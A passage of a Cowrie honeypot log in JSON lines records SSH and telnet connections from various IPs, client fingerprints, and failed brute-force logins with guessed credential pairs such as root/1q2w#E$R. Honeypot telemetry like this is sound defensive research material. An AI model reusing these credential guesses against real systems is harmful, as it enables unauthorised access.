aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:43.583292Z","src_ip":"186.219.184.142","session":"167f0544474d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1","message":"login attempt [devops/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:44.181001Z","src_ip":"186.219.184.142","session":"167f0544474d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:45.327654Z","src_ip":"186.219.184.142","session":"167f0544474d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47634,"dst_ip":"159.203.135.109","dst_port":22,"session":"b083bfa5f32a","protocol":"ssh","message":"New connection: 193.228.128.84:47634 (159.203.135.109:22) [session: b083bfa5f32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:49.970394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:49.979578Z","src_ip":"193.228.128.84","session":"b083bfa5f32a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:50.082618Z","src_ip":"193.228.128.84","session":"b083bfa5f32a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irinka","message":"login attempt [root/irinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:50.395013Z","src_ip":"193.228.128.84","session":"b083bfa5f32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:39:51.500412Z","src_ip":"193.228.128.84","session":"b083bfa5f32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.493584871292114,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:11.614411Z","src_ip":"192.119.13.58","session":"bb9fc4d0aebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53614,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a1ae5ecf08","protocol":"telnet","message":"New connection: 192.119.13.58:53614 (10.17.0.5:23) [session: 50a1ae5ecf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:18.167102Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54996,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b1693c99c88","protocol":"telnet","message":"New connection: 192.119.13.58:54996 (10.17.0.5:23) [session: 6b1693c99c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:31.400218Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45796,"dst_ip":"10.17.0.5","dst_port":23,"session":"21cbbb6f7f96","protocol":"telnet","message":"New connection: 192.119.13.58:45796 (10.17.0.5:23) [session: 21cbbb6f7f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:35.816453Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.14.26.72","src_port":47746,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54238c87aa5","protocol":"telnet","message":"New connection: 180.14.26.72:47746 (159.203.135.109:23) [session: a54238c87aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:38.364645Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55482,"dst_ip":"10.17.0.5","dst_port":23,"session":"e899a275bd74","protocol":"telnet","message":"New connection: 192.119.13.58:55482 (10.17.0.5:23) [session: e899a275bd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:44.656474Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"c314d3f31f3b","protocol":"telnet","message":"New connection: 192.119.13.58:38750 (10.17.0.5:23) [session: c314d3f31f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:47.089488Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2474,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3208750ae59","protocol":"ssh","message":"New connection: 181.0.214.136:2474 (159.203.135.109:22) [session: a3208750ae59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:50.617155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:50.622762Z","src_ip":"181.0.214.136","session":"a3208750ae59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:50.790688Z","src_ip":"181.0.214.136","session":"a3208750ae59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yc@123","message":"login attempt [root/yc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:51.500460Z","src_ip":"181.0.214.136","session":"a3208750ae59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32804,"dst_ip":"10.17.0.5","dst_port":23,"session":"556ba07b2c4e","protocol":"telnet","message":"New connection: 192.119.13.58:32804 (10.17.0.5:23) [session: 556ba07b2c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:51.875645Z"}
{"eventid":"cowrie.session.closed","duration":13.538424253463745,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:51.902961Z","src_ip":"180.14.26.72","session":"a54238c87aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40839910507202,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:52.575389Z","src_ip":"192.119.13.58","session":"50a1ae5ecf08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:52.672671Z","src_ip":"181.0.214.136","session":"a3208750ae59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":57420,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff944a3f3e1d","protocol":"ssh","message":"New connection: 91.4.14.170:57420 (10.17.0.5:22) [session: ff944a3f3e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:57.084210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:57.094321Z","src_ip":"91.4.14.170","session":"ff944a3f3e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:57.203207Z","src_ip":"91.4.14.170","session":"ff944a3f3e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"123","message":"login attempt [hamed/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:57.631969Z","src_ip":"91.4.14.170","session":"ff944a3f3e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:58.753807Z","src_ip":"91.4.14.170","session":"ff944a3f3e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d653102c28","protocol":"telnet","message":"New connection: 192.119.13.58:34694 (10.17.0.5:23) [session: e7d653102c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:40:59.842861Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":57524,"dst_ip":"10.17.0.5","dst_port":22,"session":"557e28c08300","protocol":"ssh","message":"New connection: 186.219.184.142:57524 (10.17.0.5:22) [session: 557e28c08300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:05.229749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:05.235591Z","src_ip":"186.219.184.142","session":"557e28c08300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:05.378248Z","src_ip":"186.219.184.142","session":"557e28c08300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w#E$R","message":"login attempt [root/1q2w#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:05.976894Z","src_ip":"186.219.184.142","session":"557e28c08300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36582,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c156564da19","protocol":"telnet","message":"New connection: 192.119.13.58:36582 (10.17.0.5:23) [session: 5c156564da19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:06.612015Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:07.124609Z","src_ip":"186.219.184.142","session":"557e28c08300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.306394815444946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:08.122690Z","src_ip":"192.119.13.58","session":"21cbbb6f7f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42892,"dst_ip":"10.17.0.5","dst_port":23,"session":"17113b9d52ed","protocol":"telnet","message":"New connection: 192.119.13.58:42892 (10.17.0.5:23) [session: 17113b9d52ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:08.455022Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45032,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5f3dcfd0ed","protocol":"telnet","message":"New connection: 192.119.13.58:45032 (10.17.0.5:23) [session: be5f3dcfd0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:09.112110Z"}
{"eventid":"cowrie.session.closed","duration":42.748194456100464,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:14.148231Z","src_ip":"192.119.13.58","session":"6b1693c99c88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47246,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a1f4baddc0","protocol":"telnet","message":"New connection: 192.119.13.58:47246 (10.17.0.5:23) [session: 42a1f4baddc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:16.787638Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":50363,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63e1a3bbc78","protocol":"telnet","message":"New connection: 186.195.16.41:50363 (159.203.135.109:23) [session: c63e1a3bbc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:21.203748Z"}
{"eventid":"cowrie.session.closed","duration":40.39826989173889,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:25.054624Z","src_ip":"192.119.13.58","session":"e899a275bd74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":59524,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7dfa4e7fd6","protocol":"ssh","message":"New connection: 103.172.78.219:59524 (10.17.0.5:22) [session: dc7dfa4e7fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:27.674842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:27.682682Z","src_ip":"103.172.78.219","session":"dc7dfa4e7fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:27.940976Z","src_ip":"103.172.78.219","session":"dc7dfa4e7fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234509876","message":"login attempt [root/1234509876] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:28.714701Z","src_ip":"103.172.78.219","session":"dc7dfa4e7fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:29.973154Z","src_ip":"103.172.78.219","session":"dc7dfa4e7fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.70584011077881,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:31.795174Z","src_ip":"192.119.13.58","session":"c314d3f31f3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90081715583801,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:32.743551Z","src_ip":"192.119.13.58","session":"e7d653102c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60200,"dst_ip":"10.17.0.5","dst_port":23,"session":"77dfad9dfe2f","protocol":"telnet","message":"New connection: 192.119.13.58:60200 (10.17.0.5:23) [session: 77dfad9dfe2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:33.537239Z"}
{"eventid":"cowrie.session.closed","duration":44.5393180847168,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:36.414830Z","src_ip":"192.119.13.58","session":"556ba07b2c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994060039520264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:40.105813Z","src_ip":"192.119.13.58","session":"be5f3dcfd0ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.21426773071289,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:43.669161Z","src_ip":"192.119.13.58","session":"17113b9d52ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.06435203552246,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:52.676245Z","src_ip":"192.119.13.58","session":"5c156564da19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.303019762039185,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:41:55.090521Z","src_ip":"192.119.13.58","session":"42a1f4baddc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38688,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0fca183487","protocol":"telnet","message":"New connection: 192.119.13.58:38688 (10.17.0.5:23) [session: fc0fca183487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:00.489082Z"}
{"eventid":"cowrie.session.closed","duration":0.010281801223754883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:00.499212Z","src_ip":"192.119.13.58","session":"fc0fca183487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53832,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9cc9768290d","protocol":"telnet","message":"New connection: 192.119.13.58:53832 (10.17.0.5:23) [session: d9cc9768290d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:42:04.519576Z"}
